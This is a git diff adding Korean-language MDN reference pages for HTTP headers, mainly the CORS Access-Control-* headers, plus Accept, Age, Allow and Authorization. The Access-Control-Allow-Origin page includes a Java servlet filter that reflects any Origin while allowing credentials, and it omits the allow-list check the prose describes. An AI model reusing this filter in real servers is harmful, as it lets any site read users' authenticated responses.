href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME 타입</a>.</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>서버 타입을 갖지 않는 MIME 타입. <code>image/*</code> 은 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 그리고 어떤 다른 이미지 타입들과도 일치하게 됩니다.</dd> + <dt><code>*/*</code></dt> + <dd>모든 MIME 타입</dd> + <dt><code>;q=</code> (q-인자 가중치)</dt> + <dd>사용되는 모든 값들은 <em>weight</em>라고 부르는 상대적인 <a href="/en-US/docs/Glossary/Quality_values">품질 값</a>을 사용하여 표현되는 선호 순서로 대체됩니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Accept: text/html + +Accept: image/* + +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="사양서">사양서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">컨텐츠 협상</a></li> + <li>컨텐츠 현상의 결과에 대한 헤더: {{HTTPHeader("Content-Type")}}</li> + <li>다른 유사한 헤더들: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/ko/web/http/headers/access-control-allow-credentials/index.html b/files/ko/web/http/headers/access-control-allow-credentials/index.html new file mode 100644 index 0000000000..083439f215 --- /dev/null +++ b/files/ko/web/http/headers/access-control-allow-credentials/index.html @@ -0,0 +1,90 @@ +--- +title: Access-Control-Allow-Credentials +slug: Web/HTTP/Headers/Access-Control-Allow-Credentials +translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials +--- +<div>{{HTTPSidebar}}</div> + +<p>응답헤더 <strong><code>Access-Control-Allow-Credentials</code></strong> 는 요청의 자격증명 모드({{domxref("Request.credentials")}})가 "<code>include</code>" 일때, 브라우저들이 응답을 프로트엔드 자바스트립트 코드에 노출할지에 대해 알려줍니다.</p> + +<p> 요청의 자격증명 모드가 ({{domxref("Request.credentials")}})가 "<code>include</code>" 일 때, <code>Access-Control-Allow-Credentials</code> 값이 <code>true</code> 일 경우에만 브라우저들은 프로트엔드 자바스트립트에 응답을 노출 할 것입니다.</p> + +<p>자격증명들은 쿠키, authorization 헤더들 또는 TLS 클라이언트 인증서입니다.</p> + +<p>사전 요청의 응답으로 사용할 때, 실제 요청에서 자격증명을 이용할 수 있는지에 대해서 알려줍니다. 심플한 {{HTTPMethod("GET")}} 요청은 사전 요청하지 않으므로, 자격증명과 함께 리소스에 대한 요청이 만들어 지고, 응답에서 리소스와 함께 이 헤더가 없다면 브라우저는 응답을 무시하고 웹 콘텐츠가 전달 되지 않습니다.</p> + +<p><code>Access-Control-Allow-Credentials</code> 헤더는 {{domxref("XMLHttpRequest.withCredentials")}} 속성이나 Fetch API 생성자의{{domxref("Request.Request()", "Request()")}}의 <code>credentials</code> 옵션과 함께 작동합니다. 자격 증명이 있는 CORS 요청의 경우, 브라우저가 프런트엔드 JavaScript 코드에 대한 응답을 노출하기 위해서는 서버(Access-Control-Allow-Credentials 헤더 사용)와 클라이언트(XHR, Fetch 또는 Ajax 요청에 대한 자격 증명 모드를 설정하여)가 자격 증명 포함을 선택하고 있음을 표시해야 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox notranslate">Access-Control-Allow-Credentials: true +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt>true</dt> + <dd>이 해더에 유일하게 유효한 값은 <code>true</code>(대소문자 구분)입니다. 자격증명이 필요하지 않으면 값을 <code>false</code>로 설정하지 말고 이 해더 전체를 생략하세요.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<p>Allow credentials:</p> + +<pre class="notranslate">Access-Control-Allow-Credentials: true</pre> + +<p>Using <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> with credentials:</p> + +<pre class="brush: js notranslate">var xhr = new XMLHttpRequest(); +xhr.open('GET', 'http://example.com/', true); +xhr.withCredentials = true; +xhr.send(null);</pre> + +<p>Using <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> with credentials:</p> + +<pre class="brush: js notranslate">fetch(url, { + credentials: 'include' +})</pre> + +<h2 id="사양">사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("XMLHttpRequest.withCredentials")}}</li> + <li>{{domxref("Request.Request()", "Request()")}}</li> +</ul> diff --git a/files/ko/web/http/headers/access-control-allow-headers/index.html b/files/ko/web/http/headers/access-control-allow-headers/index.html new file mode 100644 index 0000000000..25cffdf23f --- /dev/null +++ b/files/ko/web/http/headers/access-control-allow-headers/index.html @@ -0,0 +1,117 @@ +--- +title: Access-Control-Allow-Headers +slug: Web/HTTP/Headers/Access-Control-Allow-Headers +tags: + - CORS + - HTTP + - Reference + - 헤더 +translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Access-Control-Allow-Headers</code></strong> 는 {{HTTPHeader("Access-Control-Request-Headers")}}를 포함하는 {{glossary("preflight request")}}의 응답에 사용되는 헤더로, 실제 요청때 사용할 수 있는 HTTP 헤더의 목록을 나열합니다.</p> + +<p>요청에 {{HTTPHeader("Access-Control-Request-Headers")}} 헤더가 포함되어 있을 경우, 이 헤더를 포함하여야 합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Access-Control-Allow-Headers: <em><header-name></em>[, <em><header-name></em>]* +Access-Control-Allow-Headers: * +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><code><header-name></code></dt> + <dd>지원하는 헤더의 이름입니다. 쉼표로 구분하여 원하는 만큼 헤더를 나열할 수 있습니다.</dd> + <dt><code>*</code> (와일드카드)</dt> + <dd>"<code>*</code>" 값은 자격 증명이 없는 요청(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a> 혹은 HTTP 인증 정보가 없는 요청)일 경우 특수한 와일드 카드로 처리됩니다. 자격증명을 포함하는 경우 단순히 "<code>*</code>"라는 이름을 갖는 특별한 의미가 없는 헤더로 취급됩니다. 단, {{HTTPHeader("Authorization")}} 헤더는 와일드카드에 포함되지 않으며 명시적으로 나열해야 합니다.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<h3 id="사용자_정의_헤더">사용자 정의 헤더</h3> + +<p>다음은 <code>Access-Control-Allow-Headers</code> 헤더가 어떤 식으로 작성되는지에 대한 예시입니다. {{glossary("CORS-safelisted_request_header", "CORS에서 안전한 헤더")}}<span class="tlid-translation translation" lang="ko"><span title="">외에도 X-Custom-Header라는 사용자 정의 헤더가 서버에 대한 CORS 요청에 의해 지원됨을 나타냅니다.</span></span></p> + +<pre>Access-Control-Allow-Headers: X-Custom-Header</pre> + +<h3 id="여러_개의_헤더">여러 개의 헤더</h3> + +<p><span class="tlid-translation translation" lang="ko"><span title="">이 예시는 여러 개의 헤더를 지정할 때 Access-Control-Allow-Headers</span></span>가 어떤 식으로 작성되는지 보여줍니다.</p> + +<pre>Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests</pre> + +<h3 id="Preflight_요청_예시">Preflight 요청 예시</h3> + +<p>사전 요청에서 <code>Access-Control-Allow-Headers</code> 이 사용된 경우의 예제를 보도록 합시다.</p> + +<h4 id="요청">요청</h4> + +<p><span class="tlid-translation translation" lang="ko">이 </span>Preflight <span class="tlid-translation translation" lang="ko"><span title="">요청은 </span></span>Preflight 요<span class="tlid-translation translation" lang="ko"><span title="">청 헤더인 </span></span>{{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}} <span class="tlid-translation translation" lang="ko"><span title=""> 및 </span></span> {{HTTPHeader("Origin")}}, 이 세가지 Preflight 요청 헤더를<span class="tlid-translation translation" lang="ko"><span title=""> 포함하는 </span></span>{{HTTPMethod("OPTIONS")}} <span class="tlid-translation translation" lang="ko"><span title="">요청입니다.</span></span></p> + +<pre>OPTIONS /resource/foo +Access-Control-Request-Method: DELETE +Access-Control-Request-Headers: origin, x-requested-with +Origin: https://foo.bar.org</pre> + +<h4 id="응답">응답</h4> + +<p>만약 서버가 {{HTTPMethod("DELETE")}} 메소드에 CORS 요청을 허용한다면 {{HTTPHeader("Access-Control-Allow-Methods")}}에 DELETE, 그리고 다른 지원하는 메소드를 포함하여 응답합니다.</p> + +<pre>HTTP/1.1 200 OK +Content-Length: 0 +Connection: keep-alive +Access-Control-Allow-Origin: https://foo.bar.org +Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE +Access-Control-Max-Age: 86400</pre> + +<p><span class="tlid-translation translation" lang="ko"><span title="">요청된 메소드가 지원되지 않으면 서버는 오류로 응답합니다.</span></span></p> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/ko/web/http/headers/access-control-allow-origin/index.html b/files/ko/web/http/headers/access-control-allow-origin/index.html new file mode 100644 index 0000000000..7fcc879d53 --- /dev/null +++ b/files/ko/web/http/headers/access-control-allow-origin/index.html @@ -0,0 +1,140 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +<p><code><strong>Access-Control-Allow-Origin</strong></code> 응답 헤더는 이 응답이 주어진 {{glossary("origin")}}으로부터의 요청 코드와 공유될 수 있는지를 나타냅니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Access-Control-Allow-Origin: * +Access-Control-Allow-Origin: <origin> +Access-Control-Allow-Origin: null +</pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><code>*</code></dt> + <dd><em>credential</em>이 없는 요청들에 와일드카드로써 문자 값 "*"이 명시될 수 있습니다. 이 값은 브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청 코드를 허용함을 알립니다. 와일드카드를 credential과 함께 사용하려고 하면 <a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">오류가 발생</a>합니다.</dd> + <dt><code><origin></code></dt> + <dd>origin을 명시합니다. 하나의 origin만 명시될 수 있습니다.</dd> +</dl> + +<h2 id="예시">예시</h2> + +<p>브라우저에 리소스에 접근하는 임의의 origin으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<p>브라우저에 <code>https://developer.mozilla.org</code>으로부터의 요청을 허용한다고 알리는 응답은 다음을 포함할 것입니다:</p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> + +<p>가능한 <code>Access-Control-Allow-Origin</code> 값을 허용된 origin 집합으로 제한하는 것은 요청 헤더의 {{HTTPHeader("Origin")}}를 검사하는 서버 측 코드가 필요합니다. 이를 허용된 origin 리스트와 비교하고, {{HTTPHeader("Origin")}} 값이 리스트에 있으면 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}}과 동일한 값으로 설정합니다.</p> + +<h3 id="CORS_and_caching">CORS and caching</h3> + +<p>서버가 ("<code>*</code>" 와일드카드 외에) 명시적인 origin을 <code>Access-Control-Allow-Origin</code> 과 함께 응답으로 보내면, 응답은 값이 <code>Origin</code>인 {{HTTPHeader("Vary")}} 응답 헤더 또한 포함해야 합니다 — 브라우저에 서버가 <code>Origin</code> 요청 헤더의 값에 따라 다르게 응답할 수 있음을 알리기 위해.</p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org +Vary: Origin</pre> + +<h3 id="Handling_CORS_on_the_server_(Java_example)">Handling CORS on the server (Java example)</h3> + +<p>다음의 Java 코드는 CORS 요청 헤더를 설정합니다. 코드가 어떻게 <code>Access-Control-Allow-Origin</code> 값을 {{HTTPHeader("Origin")}} 요청 헤더와 동일한 값을 설정하는지 알아 두십시오.</p> + +<pre class="brush: java">import java.io.IOException; +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + + +@Component +public class SimpleCORSFilter implements Filter { + +private final Logger log = LoggerFactory.getLogger(SimpleCORSFilter.class); + +public SimpleCORSFilter() { + log.info("SimpleCORSFilter init"); +} + +@Override +public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { + + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin")); + response.setHeader("Access-Control-Allow-Credentials", "true"); + response.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE"); + response.setHeader("Access-Control-Max-Age", "3600"); + response.setHeader("Access-Control-Allow-Headers", "Content-Type, Accept, X-Requested-With, remember-me"); + chain.doFilter(req, res); +} + +@Override +public void init(FilterConfig filterConfig) { +} + +@Override +public void destroy() { +} + +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h2 id="참고">참고</h2> + +<ul> + <li>{{HTTPHeader("Origin")}}</li> + <li>{{HTTPHeader("Vary")}}</li> + <li><a href="https://gist.github.com/wildoctopus/3730b5c60f9d5224f6c2418d07708e21">CORS 문제를 어떻게 해결하나요?</a></li> +</ul> + +<div>{{HTTPSidebar}}</div> diff --git a/files/ko/web/http/headers/access-control-request-headers/index.html b/files/ko/web/http/headers/access-control-request-headers/index.html new file mode 100644 index 0000000000..1da8a6af4d --- /dev/null +++ b/files/ko/web/http/headers/access-control-request-headers/index.html @@ -0,0 +1,71 @@ +--- +title: Access-Control-Request-Headers +slug: Web/HTTP/Headers/Access-Control-Request-Headers +tags: + - CORS + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Access-Control-Request-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>요청 헤더 <strong><code>Access-Control-Request-Headers</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Access-Control-Request-Headers: <header-name>, <header-name>, ... +</pre> + +<h2 id="지시어">지시어</h2> + +<dl> + <dt><header-name></dt> + <dd>요청에 포함 된 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>의 쉼표로 구분 한 목록.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Headers")}}</p> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/ko/web/http/headers/access-control-request-method/index.html b/files/ko/web/http/headers/access-control-request-method/index.html new file mode 100644 index 0000000000..3947c883ed --- /dev/null +++ b/files/ko/web/http/headers/access-control-request-method/index.html @@ -0,0 +1,71 @@ +--- +title: Access-Control-Request-Method +slug: Web/HTTP/Headers/Access-Control-Request-Method +tags: + - CORS + - HTTP + - Reference + - header +translation_of: Web/HTTP/Headers/Access-Control-Request-Method +--- +<div>{{HTTPSidebar}}</div> + +<p>요청 헤더 <strong><code>Access-Control-Request-Method</code></strong>는 실제 요청이 만들어질 때 클라이언트가 보낼 수도 있는 <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a>를 서버에게 알리기 위해 브라우저가 {{glossary("preflight request")}}를 발급(issue)할 때 사용됩니다. 사전 요청(preflight request)은 항상 {{HTTPMethod("OPTIONS")}}이며 실제 요청과 동일한 메소드를 사용하지 않으므로 이 헤더가 필요합니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Access-Control-Request-Method: <method> +</pre> + +<h2 id="지시어">지시어</h2> + +<dl> + <dt><method></dt> + <dd><a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 중 하나. 예를 들어 {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, 또는 {{HTTPMethod("DELETE")}}.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Access-Control-Request-Method: POST</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-method', 'Access-Control-Request-Method')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">현재 페이지에 있는 호환성 표는 구조화된 데이터가 생성합니다. 데이터에 기여하고 싶다면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull request를 보내세요.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Method")}}</p> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/ko/web/http/headers/age/index.html b/files/ko/web/http/headers/age/index.html new file mode 100644 index 0000000000..a8594ee54e --- /dev/null +++ b/files/ko/web/http/headers/age/index.html @@ -0,0 +1,69 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +translation_of: Web/HTTP/Headers/Age +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Age</strong></code> 헤더는 객체가 프록시 캐시 내에 머무는 초단위의 시간을 가집니다.</p> + +<p><code>Age</code> 헤더는 보통 0에 가깝습니다. 만약 <code>Age: 0라면</code>, 그것은 아마도 원 서버로부터 막 내려받은 것일 겁니다; 그게 아니라면 프록시의 현재 시간과 HTTP 응답 내에 포함된 {{HTTPHeader("Date")}} 일반 헤더의 차로 계산됩니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Age: <delta-seconds> +</pre> + +<h2 id="디렉티브">디렉티브</h2> + +<dl> + <dt><delta-seconds></dt> + <dd> + <p>음수가 아닌 정수형으로, 객체가 프록시 캐시 내에 머문 초단위 시간을 나타냅니다.</p> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Age: 24</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7234", "Age", "5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Age")}}</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Expires")}}</li> +</ul> diff --git a/files/ko/web/http/headers/allow/index.html b/files/ko/web/http/headers/allow/index.html new file mode 100644 index 0000000000..11cdabd478 --- /dev/null +++ b/files/ko/web/http/headers/allow/index.html @@ -0,0 +1,67 @@ +--- +title: Allow +slug: Web/HTTP/Headers/Allow +tags: + - Entity header + - HTTP + - HTTP Header + - Reference + - header +translation_of: Web/HTTP/Headers/Allow +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Allow</strong></code> 헤더는 리소스가 지원하는 메소드 집합을 나열합니다.</p> + +<p>어떤 요청 메소드를 사용할 수 있는지 알리기 위해 서버가 {{HTTPStatus("405")}} <code>Method Not Allowed</code> 상태코드로 응답할 경우에 이 헤더를 반드시 보내야 합니다. 비어있는 <code>Allow</code> 헤더는 리소스가 어떤 요청 메소드도 허용하지 않음을 나타냅니다. 예를 들어, 특정 리소스에 대해 일시적으로 발생할 수도 있는 요청 메소드조차 허용하지 않음을 나타냅니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="구문">구문</h2> + +<pre class="syntaxbox">Allow: <http-methods> +</pre> + +<h2 id="지시어">지시어</h2> + +<dl> + <dt><http-methods></dt> + <dd>쉼표로 구분한 허용된 <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 목록.</dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Allow: GET, POST, HEAD</pre> + +<h2 id="명세">명세</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Allow", "7.4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="더보기">더보기</h2> + +<ul> + <li>{{HTTPStatus("405")}}</li> + <li>{{HTTPHeader("Server")}}</li> +</ul> diff --git a/files/ko/web/http/headers/authorization/index.html b/files/ko/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..769d7d43e3 --- /dev/null +++ b/files/ko/web/http/headers/authorization/index.html @@ -0,0 +1,90 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - HTTP + - HTTP 헤더 + - 요청 헤더 + - 참고자료 + - 헤더 +translation_of: Web/HTTP/Headers/Authorization +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>Authorization</code></strong> 요청 헤더는 서버의 사용자 에이전트임을 증명하는 자격을 포함하여, 보통 서버에서 {{HTTPStatus("401")}} <code>Unauthorized</code> 상태를 {{HTTPHeader("WWW-Authenticate")}} 헤더로 알려준 이후에 나옵니다.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">헤더 타입</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>아니오</td> + </tr> + </tbody> +</table> + +<h2 id="문법">문법</h2> + +<pre class="syntaxbox">Authorization: <type> <credentials></pre> + +<h2 id="지시자">지시자</h2> + +<dl> + <dt><type></dt> + <dd><a href="/ko/docs/Web/HTTP/Authentication#%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">인증 타입</a>. 보통 타입은 <a href="/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">"Basic"</a>이며. 다른 타입으로: + <ul> + <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li> + <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li> + </ul> + </dd> + <dt><credentials></dt> + <dd>만약 "Basic" 인증 스킴이 사용되었다면, 증명은 다음과 같이 만들어집니다: + <ul> + <li>사용자명과 비밀번호가 콜론을 이용하여 합쳐집니다(<code>aladdin:opensesame</code>).</li> + <li>그 결과에 대한 문자열을 <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> 로 인코딩합니다 (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li> + </ul> + + <div class="note"> + <p><strong>Note</strong>: Base64 인코딩은 암호화나 해싱을 의미하지 않습니다! 이 방법은 인증에 대해서 문자를 그대로 보내는 것과 동일하다고 할 수 있습니다 (base64인코딩은 복호화 가능). Basic 인증을 하는 경우 HTTPS로 접속하는 것을 권장합니다.</p> + </div> + </dd> +</dl> + +<h2 id="예제">예제</h2> + +<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l +</pre> + +<p>HTTP basic 인증을 사용하여 비밀번호를 보호하기 위해 Apache 또는 nginx 서버를 어떻게 설정해야 하는지 예제를 보기 위해서는<a href="/ko/docs/Web/HTTP/Authentication"> HTTP authentication</a> 를 보시기 바랍니다.</p> + +<h2 id="기술_사양">기술 사양</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">기술 사양</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("7235", "Authorization", "4.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="함께_더_보기">함께 더 보기</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + 